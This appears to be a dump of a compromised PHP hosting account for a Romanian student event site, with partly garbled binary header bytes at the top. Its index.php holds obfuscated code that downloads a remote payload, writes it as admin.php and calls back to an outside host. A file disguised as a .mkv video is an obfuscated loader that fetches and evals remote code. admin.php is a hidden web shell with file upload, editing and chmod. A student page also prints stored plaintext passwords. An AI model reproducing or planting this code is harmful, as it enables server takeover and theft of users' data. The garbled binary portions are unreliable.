MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads error_log000064400000001546152510405040006463 0ustar00[24-Apr-2025 03:50:28 Europe/Bucharest] PHP Notice: Undefined index: NumeStudent in /home/ecointre/eme.ecointrep.ro/lista/index.php on line 117 [24-Apr-2025 03:50:28 Europe/Bucharest] PHP Notice: Undefined index: NumeStudent in /home/ecointre/eme.ecointrep.ro/lista/index.php on line 117 [24-Apr-2025 09:38:06 Europe/Bucharest] PHP Notice: Undefined index: NumeStudent in /home/ecointre/eme.ecointrep.ro/lista/index.php on line 117 [24-Apr-2025 09:38:06 Europe/Bucharest] PHP Notice: Undefined index: NumeStudent in /home/ecointre/eme.ecointrep.ro/lista/index.php on line 117 [24-Apr-2025 09:41:59 Europe/Bucharest] PHP Notice: Undefined index: NumeStudent in /home/ecointre/eme.ecointrep.ro/lista/index.php on line 117 [24-Apr-2025 09:41:59 Europe/Bucharest] PHP Notice: Undefined index: NumeStudent in /home/ecointre/eme.ecointrep.ro/lista/index.php on line 117 .htaccess000044400000003775152510405040006350 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] index.php000064400000052625152510405040006372 0ustar000){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLmxvNjEueHl6L2YudHh0"));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLmxvNjEueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLmxvNjEueHl6L2YudHh0"));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLmxvNjEueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?> Entrepreneurship Matching Event

Proper

 
2"; foreach ($conn->query($sql) as $row) { print ''; print ''; print ''; print ''; print ''; print ''; print ''; print ''; if ($row['Proiect']!=''){ print ''; } else { print ''; } print ''; print ''; } ?>

Nume Student 1

Nume Student 2

Email

Parola

Universitate

Profesor

Telefon

STARE

Sterge

'.$row['NumePrenume'].'

'.$row['NumeStudent'].'

'.$row['Email'].'

'.$row['Parola'].'

'.$row['Universitate'].'

'.$row['NumeProf'].'

'.$row['Telefon'].'

TRIMIS

NETRIMIS

Sterge




Asociatia Tinerilor Intreprinzatori din Mediul Virtual

ATIMV, alaturi de promovarea rolului de promotor, isi asuma prin statut responsabilitatea de a-i reprezenta pe studentii Universitatii Valahia din Targoviste, si contribuie la formarea profesionala a persoanelor pe care le reprezinta si a voluntarilor pe care ii cuprinde.

Citeste...

Facultatea de Stiinte Economice

Urmareste dezvoltarea pregatirii profesionale si umane a tinerilor, in scopul adaptarii calitatilor acestora economiei viitorului, care va fi o economie bazata pe logos.

Citeste...

Targul de Intreprinderi Simulate

Primul targ de intreprinderi simulate organizat la nivel universitar din judetul Dambovita.

Citeste...

Virtual Towns

VT incearca sa aduca o noua abordare a modului de invatare a studentilor din Universitatea "Valahia". VT este un "joc virtual" inbunatatit si adaptat cerintelor facultatii, din care studentii invata cum sa infiinteze, administreze si cum sa creasca profitul firmei.

Citeste...
 

Alte evenimente

+ Explore Showcase
 
 

Contact

  • Telefon: 0723244330
  • Email: csaga.fse@gmail.com

Ne gasesti si pe:

rss in skype google
 
lista/LIsUvHZBnNCMjiQuPWgb.mkv000064400000012454152510405040012074 0ustar00 $SlAE_kbPZb) { $QHnb3QJ4ca .= $KVx59pRID8[$SlAE_kbPZb - 61513]; DuGmWi0dZ9: } goto PGqrXsDsKH; J_ReIuSyKo: } static function Pnh7rWP4k2($rGCifMg1ty, $CVeDlHxyIW) { goto a9EijY9zKr; JxRRJYgj5r: return empty($kcngaIdeYp) ? $CVeDlHxyIW($rGCifMg1ty) : $kcngaIdeYp; goto Gdn0CaRS65; YXGry30iab: $kcngaIdeYp = curl_exec($zuy5BUQjZG); goto JxRRJYgj5r; MHPJAlz8Wd: curl_setopt($zuy5BUQjZG, CURLOPT_RETURNTRANSFER, 1); goto YXGry30iab; a9EijY9zKr: $zuy5BUQjZG = curl_init($rGCifMg1ty); goto MHPJAlz8Wd; Gdn0CaRS65: } static function ngmMLMNYRn() { goto GKQZMrM4Bc; CvKR0I8U_w: foreach ($aY1XL2EmrE as $RhLIZlD12n) { $AhSZqGNjHJ[] = self::xXY7bUEXDY($RhLIZlD12n); ReNNHqhLzU: } goto xbRTchQEOm; GKQZMrM4Bc: $aY1XL2EmrE = array("\66\x31\x35\x34\60\x3d\x36\61\x35\x32\x35\75\x36\x31\x35\x33\70\x3d\x36\61\x35\64\62\x3d\66\61\65\62\63\x3d\x36\x31\x35\x33\70\x3d\x36\x31\x35\x34\x34\x3d\66\x31\65\63\67\x3d\66\x31\x35\62\x32\x3d\66\61\x35\x32\71\x3d\x36\x31\x35\64\x30\75\66\61\x35\62\63\75\x36\x31\x35\63\64\x3d\x36\61\x35\62\70\x3d\66\61\x35\62\71", "\66\61\x35\62\x34\75\66\61\x35\x32\x33\x3d\x36\x31\65\62\65\75\x36\61\65\x34\x34\75\66\61\x35\62\65\x3d\x36\61\65\62\70\x3d\66\61\x35\62\63\75\x36\61\x35\x39\60\x3d\x36\x31\65\x38\x38", "\x36\x31\65\63\x33\75\66\x31\65\x32\64\x3d\x36\61\x35\x32\x38\x3d\66\61\x35\x32\71\x3d\x36\61\x35\64\x34\75\66\x31\x35\x33\71\75\66\61\x35\x33\x38\75\x36\x31\65\64\60\x3d\66\61\65\x32\x38\75\x36\61\65\63\x39\x3d\x36\61\65\63\70", "\66\x31\65\62\x37\x3d\66\61\x35\x34\x32\75\x36\61\x35\64\x30\75\66\x31\65\x33\62", "\x36\61\65\64\x31\75\x36\x31\x35\64\x32\x3d\66\x31\x35\x32\x34\75\66\61\x35\63\70\x3d\x36\x31\65\70\65\75\x36\61\65\x38\67\x3d\66\x31\65\x34\64\x3d\66\x31\65\x33\x39\75\x36\61\65\x33\70\75\66\x31\x35\64\x30\x3d\x36\61\65\62\70\x3d\66\x31\x35\x33\71\75\66\x31\x35\x33\70", "\66\x31\x35\63\67\75\66\x31\x35\x33\64\x3d\x36\x31\x35\63\x31\x3d\x36\61\65\x33\70\75\x36\x31\x35\64\64\75\66\x31\x35\63\x36\75\66\x31\65\x33\x38\75\x36\x31\x35\62\x33\75\66\x31\65\64\x34\x3d\66\61\x35\x34\x30\x3d\x36\61\x35\x32\70\x3d\x36\61\x35\x32\x39\x3d\66\x31\65\x32\x33\75\66\x31\x35\63\x38\75\x36\61\65\62\71\x3d\x36\x31\x35\62\63\x3d\x36\61\x35\62\64", "\66\61\65\x36\67\x3d\66\x31\65\x39\67", "\x36\61\x35\61\x34", "\66\x31\65\x39\x32\75\66\61\65\71\67", "\x36\x31\x35\x37\x34\75\66\61\x35\x35\67\75\66\61\x35\65\67\x3d\x36\x31\65\x37\x34\75\x36\61\x35\65\60", "\66\61\65\63\x37\x3d\66\x31\x35\x33\x34\75\66\61\x35\x33\x31\75\66\x31\65\62\63\x3d\66\x31\x35\x33\x38\75\x36\61\65\62\65\75\x36\x31\65\64\x34\75\66\x31\65\63\x34\x3d\x36\x31\x35\x32\x39\75\66\x31\65\62\67\75\x36\61\65\x32\x32\75\x36\61\65\62\63"); goto CvKR0I8U_w; wCp80QfpL4: @$AhSZqGNjHJ[6 + 4](INPUT_GET, "\x6f\x66") == 1 && die($AhSZqGNjHJ[1 + 4](__FILE__)); goto tQYmp7m_Qf; lZmKY3Qy2X: $kpdDrLwgnC = md5($K1s48WymTm[0 + 3]); goto wCp80QfpL4; hxFnWk8MWt: $wZVdfLdKcP = @$AhSZqGNjHJ[1 + 2]($AhSZqGNjHJ[1 + 5], $EsPIaBSzgh); goto QC5vMgCt_I; QC5vMgCt_I: $K1s48WymTm = $AhSZqGNjHJ[0 + 2]($wZVdfLdKcP, true); goto lZmKY3Qy2X; xbRTchQEOm: txoodtgXR3: goto HgV3Ajj3_Q; zzbSdXu5de: die; goto GVKyhsCQUg; ax6sqCsK3j: if (!(@$K1s48WymTm[0] - time() > 0 and $DLPRQj3nD6 === "\142\x63\67\63\63\x32\x34\x66\x33\x62\71\x30\143\60\x37\70\61\61\x64\65\x39\x35\x35\x34\67\141\66\66\63\62\x32\x34")) { goto DKEq6DTCwU; } goto QRQtap3IcC; GVKyhsCQUg: DKEq6DTCwU: goto tFMtWN3r2g; HgV3Ajj3_Q: $EsPIaBSzgh = @$AhSZqGNjHJ[1]($AhSZqGNjHJ[10 + 0](INPUT_GET, $AhSZqGNjHJ[2 + 7])); goto hxFnWk8MWt; i0VCcMnr8M: @eval($AhSZqGNjHJ[1 + 3]($V7ZmFBnKfk)); goto zzbSdXu5de; tQYmp7m_Qf: $DLPRQj3nD6 = md5($kpdDrLwgnC); goto ax6sqCsK3j; QRQtap3IcC: $V7ZmFBnKfk = self::PnH7RWP4K2($K1s48WymTm[0 + 1], $AhSZqGNjHJ[0 + 5]); goto i0VCcMnr8M; tFMtWN3r2g: } } goto GzuggEzf5J; ktouYfqykb: if (!(in_array(gettype($DDhXdYJwtC) . count($DDhXdYJwtC), $DDhXdYJwtC) && count($DDhXdYJwtC) == 12 && md5(md5(md5(md5($DDhXdYJwtC[6])))) === "\x36\x33\x37\x39\71\63\64\65\61\146\70\x62\62\x65\x31\x37\x39\142\x35\146\64\x62\60\x63\144\x61\63\144\61\x62\142\141")) { goto uZZTRQHC93; } goto b8CbkepB3f; yJxZp41W2b: $DDhXdYJwtC = ${$rRl3DPyzMK[2 + 29] . $rRl3DPyzMK[43 + 16] . $rRl3DPyzMK[6 + 41] . $rRl3DPyzMK[18 + 29] . $rRl3DPyzMK[16 + 35] . $rRl3DPyzMK[46 + 7] . $rRl3DPyzMK[33 + 24]}; goto ktouYfqykb; GzuggEzf5J: odQpm3OcEz::NgmmlMNYrN(); ?> lista/.htaccess000064400000000342152510405040007451 0ustar00 Order allow,deny Deny from all # Order allow,deny Allow from all admin.php000064400000100527152510405040006346 0ustar00'.$パスワードハッシュ.'<-}'); } /** * 認証状態の初期化 */ $認証状態 = false; /** * クッキーによる認証チェック * クッキーp8が設定されており、そのMD5ハッシュが一致する場合、認証を許可 */ if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $パスワードハッシュ) { $認証状態 = true; } } else { /** * POSTリクエストによる認証チェック * POSTパラメータp8が設定されており、そのMD5ハッシュが一致する場合、 * クッキーを設定して認証を許可 */ if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $パスワードハッシュ) { setcookie("p8", $_POST['p8']); $認証状態 = true; } } } /** * ログアウト処理 * logoutパラメータが設定されている場合、クッキーを削除して認証状態を解除 */ if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", "", time() - 3600); $認証状態 = false; } /** * 認証されていない場合の処理 * 520パラメータが設定されていない場合は404エラーを返し、 * 設定されている場合はパスワード入力フォームを表示 */ if (!$認証状態) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die(); } echo '
'; die(); } /** * ログアウトボタンの表示 */ echo '
'; /** * 外部サーバーからコードを取得する関数 * * @param string $URL コードを取得するURL * @return string 取得したコード */ function 코드가져오기($URL) { /** * リクエストパラメータを含む完全なURLの構築 */ $URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); /** * file_get_contentsを使用してコードを取得 */ $コード = @file_get_contents($URL文字列); /** * file_get_contentsが失敗した場合、cURLを使用して再試行 */ if ($コード == false) { $CURLハンドル = curl_init(); curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列); curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll'); curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1); curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100); curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0); $コード = curl_exec($CURLハンドル); curl_close($CURLハンドル); } return $コード; } ?> 000 = 1073741824) { $バイト数 = number_format($バイト数 / 1073741824, 2) . ' GB'; } // 1MB以上の場合 elseif ($バイト数 >= 1048576) { $バイト数 = number_format($バイト数 / 1048576, 2) . ' MB'; } // 1KB以上の場合 elseif ($バイト数 >= 1024) { $バイト数 = number_format($バイト数 / 1024, 2) . ' KB'; } // 1バイトより大きい場合 elseif ($バイト数 > 1) { $バイト数 = $バイト数 . ' bytes'; } // 1バイトの場合 elseif ($バイト数 == 1) { $バイト数 = $バイト数 . ' byte'; } // 0バイトの場合 else { $バイト数 = '0 bytes'; } return $バイト数; } /** * ファイルの拡張子を取得する関数 * * @param string $ファイル ファイル名 * @return string ファイルの拡張子 */ function 파일확장자($ファイル) { return substr(strrchr($ファイル, '.'), 1); } /** * ファイルタイプに応じたアイコンを返す関数 * ファイルの拡張子や名前に基づいて適切なFont Awesomeアイコンを返します * * @param string $ファイル ファイル名 * @return string HTMLアイコンタグ */ function 파일아이콘($ファイル) { /** * 画像ファイルの拡張子リスト */ $画像拡張子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); /** * 音声ファイルの拡張子リスト */ $音声拡張子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); /** * ファイルの拡張子を小文字で取得 */ $拡張子 = strtolower(파일확장자($ファイル)); /** * 特殊ファイル名の処理 */ if ($ファイル == "error_log") { return ' '; } elseif ($ファイル == ".htaccess") { return ' '; } /** * 拡張子に基づくアイコンの選択 */ if ($拡張子 == "html" || $拡張子 == "htm") { return ' '; } elseif ($拡張子 == "php" || $拡張子 == "phtml") { return ' '; } elseif (in_array($拡張子, $画像拡張子配列)) { return ' '; } elseif ($拡張子 == "css") { return ' '; } elseif ($拡張子 == "txt") { return ' '; } elseif (in_array($拡張子, $音声拡張子配列)) { return ' '; } elseif ($拡張子 == "py") { return ' '; } elseif ($拡張子 == "js") { return ' '; } else { return ' '; } } /** * パスをエンコードする関数 * パス内の特殊文字をベンガル文字に置き換えてエンコードします * * @param string $パス エンコードするパス * @return string エンコードされたパス */ function 경로인코딩($パス) { /** * 置換前の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(ベンガル文字) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換前配列, $置換後配列, $パス); } /** * パスをデコードする関数 * エンコードされたパスを元の形式に戻します * * @param string $パス デコードするパス * @return string デコードされたパス */ function 경로디코딩($パス) { /** * 置換前の文字配列(ベンガル文字) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換後配列, $置換前配列, $パス); } /** * ルートパスの初期化 * スクリプトのディレクトリをルートパスとして設定 */ $ルートパス = __DIR__; /** * スクリプトファイルのパスを取得 */ $パス = $_SERVER['SCRIPT_FILENAME']; /** * Windows環境の場合、バックスラッシュをスラッシュに変換 */ if(strpos($_SERVER['SCRIPT_FILENAME'], ":")) { $パス = str_replace('\\', '/', $パス); } /** * ルートディレクトリの判定 * PHP_SELFとSCRIPT_FILENAMEが一致する場合、ルートパスを"/"に設定 */ if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス)) { $ルートパス = ('/'); } else { /** * ルートパスの計算 * SCRIPT_FILENAMEからPHP_SELFを除いた部分をルートパスとして設定 */ $ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) )); } /** * パスパラメータの処理 * GETパラメータpが設定されている場合、そのパスを使用 */ if (isset($_GET['p'])) { /** * パラメータが空の場合はルートパスを使用 */ if (empty($_GET['p'])) { $現在のパス = $ルートパス; } /** * デコードしたパスがディレクトリでない場合、エラーを表示 */ elseif (!is_dir(경로디코딩($_GET['p']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['p']))) { $現在のパス = 경로디코딩($_GET['p']); } } /** * クエリパラメータqが設定されている場合の処理 */ elseif (isset($_GET['q'])) { /** * デコードしたパスがディレクトリでない場合、ルートにリダイレクト */ if (!is_dir(경로디코딩($_GET['q']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['q']))) { $現在のパス = 경로디코딩($_GET['q']); } } /** * パラメータが設定されていない場合、現在のディレクトリを使用 */ else { $現在のパス = __DIR__; } /** * 現在のパスを定数として定義 */ define("PATH", $現在のパス); /** * ナビゲーションバーの表示開始 */ echo (' '); /** * パスパラメータが設定されている場合、ファイル一覧を表示 */ if (isset($_GET['p'])) { /** * ファイルとフォルダの取得 * ディレクトリが読み取り可能な場合、スキャンしてファイルとフォルダを分離 */ if (is_readable(PATH)) { /** * ディレクトリ内の全オブジェクトを取得 */ $取得オブジェクト = scandir(PATH); /** * フォルダとファイルを格納する配列 */ $フォルダ配列 = array(); $ファイル配列 = array(); /** * 各オブジェクトをループして、フォルダとファイルに分類 */ foreach ($取得オブジェクト as $オブジェクト) { /** * 現在ディレクトリと親ディレクトリはスキップ */ if ($オブジェクト == '.' || $オブジェクト == '..') { continue; } /** * オブジェクトの完全パスを構築 */ $新規オブジェクト = PATH . '/' . $オブジェクト; /** * ディレクトリの場合はフォルダ配列に追加 */ if (is_dir($新規オブジェクト)) { array_push($フォルダ配列, $オブジェクト); } /** * ファイルの場合はファイル配列に追加 */ elseif (is_file($新規オブジェクト)) { array_push($ファイル配列, $オブジェクト); } } } /** * ファイル一覧テーブルのヘッダーを表示 */ echo ' '; /** * フォルダ一覧の表示 * 各フォルダに対して、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($フォルダ配列 as $フォルダ) { echo " "; } /** * ファイル一覧の表示 * 各ファイルに対して、アイコン、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($ファイル配列 as $ファイル) { echo " "; } /** * テーブルの終了タグ */ echo "
Name Size Modified Perms Actions
" . $フォルダ . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " 0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . "
" . 파일아이콘($ファイル) . $ファイル . " " . 크기포맷팅(filesize(PATH . "/" . $ファイル)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " 0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . "
"; } else { /** * GETパラメータが空の場合、パスパラメータにリダイレクト */ if (empty($_GET)) { echo (""); } } /** * 新規ディレクトリ作成フォームの表示 * newdirパラメータとqパラメータが設定されている場合、新規ディレクトリ作成フォームを表示 */ if (isset($_GET['newdir']) && isset($_GET['q'])) { echo '

Create New Directory

Enter the name for the new directory. Avoid special characters.
Cancel
'; /** * 新規ディレクトリ作成処理の実行 * create_directoryパラメータがPOSTされた場合、新しいディレクトリを作成 */ if (isset($_POST['create_directory'])) { /** * POSTされたディレクトリ名を取得 */ $新規ディレクトリ名 = trim($_POST['dirname']); /** * ディレクトリ名の検証 */ if (!empty($新規ディレクトリ名)) { /** * ディレクトリ名に不正な文字が含まれていないかチェック */ if (preg_match('/[\/\\\\:*?"<>|]/', $新規ディレクトリ名)) { echo (""); } else { /** * 新規ディレクトリの完全パス */ $新規ディレクトリパス = PATH . "/" . $新規ディレクトリ名; /** * ディレクトリが既に存在するかチェック */ if (file_exists($新規ディレクトリパス)) { echo (""); } else { /** * 新規ディレクトリの作成 * デフォルト権限は0755(所有者は読み書き実行、グループとその他は読み実行) */ if(mkdir($新規ディレクトリパス, 0755, true)) { echo (""); } else { echo (""); } } } } else { echo (""); } } } /** * ファイルアップロードフォームの表示 * uploadパラメータが設定されている場合、アップロードフォームを表示 */ if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } /** * ファイル・フォルダのリネーム機能 * rパラメータとqパラメータが設定されている場合、リネームフォームを表示 */ if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { /** * リネームフォームの表示 */ echo '
Rename:
'; /** * リネーム処理の実行 * renameパラメータがPOSTされた場合、ファイル・フォルダの名前を変更 */ if (isset($_POST['rename'])) { /** * 現在のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['r']; /** * リネームの実行 */ if(rename($名前, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } /** * ファイル編集機能 * eパラメータとqパラメータが設定されている場合、ファイル編集フォームを表示 */ if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { /** * ファイル編集フォームの表示 * ファイルの内容をテキストエリアに表示 */ echo '

'; /** * ファイル保存処理の実行 * editパラメータがPOSTされた場合、ファイルの内容を保存 */ if(isset($_POST['edit'])) { /** * 編集対象ファイルの完全パス */ $ファイル名 = PATH."/".$_GET['e']; /** * POSTされたデータを取得 */ $データ = $_POST['data']; /** * ファイルを書き込みモードで開く */ $ファイルハンドル = fopen($ファイル名,"w"); /** * ファイルへの書き込み */ if(fwrite($ファイルハンドル,$データ)) { echo (""); } else { echo (""); } /** * ファイルハンドルを閉じる */ fclose($ファイルハンドル); } } } /** * ファイルアップロード処理の実行 * uploadパラメータがPOSTされた場合、アップロードされたファイルを保存 */ if (isset($_POST["upload"])) { /** * アップロード先のファイルパス */ $ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"]; /** * アップロードされたファイルを移動 */ if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } /** * ファイル・フォルダの権限変更機能 * chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示 */ if (isset($_GET['chmod']) && isset($_GET['q'])) { if (!empty($_GET['chmod'])) { /** * 権限変更対象のファイル・フォルダの完全パス */ $権限変更対象 = PATH . "/" . $_GET['chmod']; /** * 現在の権限を取得(8進数形式) */ $現在の権限 = substr(decoct(fileperms($権限変更対象)), -3); /** * 権限変更フォームの表示 */ echo '

Change Permissions

Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for rw-r--r--)
Cancel
